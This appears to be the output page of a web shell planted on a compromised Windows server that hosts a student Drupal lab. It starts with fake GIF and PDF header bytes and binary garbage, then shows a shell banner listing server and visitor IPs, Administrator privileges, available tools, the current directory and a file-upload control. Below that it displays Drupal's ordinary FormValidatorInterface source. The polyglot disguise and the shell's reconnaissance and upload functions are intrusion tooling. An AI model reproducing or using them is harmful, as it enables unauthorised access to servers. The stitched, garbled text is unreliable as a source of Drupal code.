GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Form/ |
Upload File : |
<?php namespace Drupal\Core\Form; /** * Provides an interface for validating form submissions. */ interface FormValidatorInterface { /** * Executes custom validation handlers for a given form. * * Button-specific handlers are checked first. If none exist, the function * falls back to form-level handlers. * * @param $form * An associative array containing the structure of the form. * @param $form_state * The current state of the form. If the user submitted the form by clicking * a button with custom handler functions defined, those handlers will be * stored here. */ public function executeValidateHandlers(&$form, FormStateInterface &$form_state); /** * Validates user-submitted form data in the $form_state. * * @param $form_id * A unique string identifying the form for validation, submission, * theming, and hook_form_alter functions. * @param $form * An associative array containing the structure of the form, which is * passed by reference. Form validation handlers are able to alter the form * structure (like #process and #after_build callbacks during form building) * in case of a validation error. If a validation handler alters the form * structure, it is responsible for validating the values of changed form * elements in $form_state->getValues() to prevent form submit handlers from * receiving unvalidated values. * @param $form_state * The current state of the form. The current user-submitted data is stored * in $form_state->getValues(), though form validation functions are passed * an explicit copy of the values for the sake of simplicity. Validation * handlers can also use $form_state to pass information on to submit * handlers. For example: * $form_state->set('data_for_submission', $data); * This technique is useful when validation requires file parsing, * web service requests, or other expensive requests that should * not be repeated in the submission step. */ public function validateForm($form_id, &$form, FormStateInterface &$form_state); /** * Sets a form_token error on the given form state. * * @param \Drupal\Core\Form\FormStateInterface $form_state * The current state of the form. * * @return $this */ public function setInvalidTokenError(FormStateInterface $form_state); }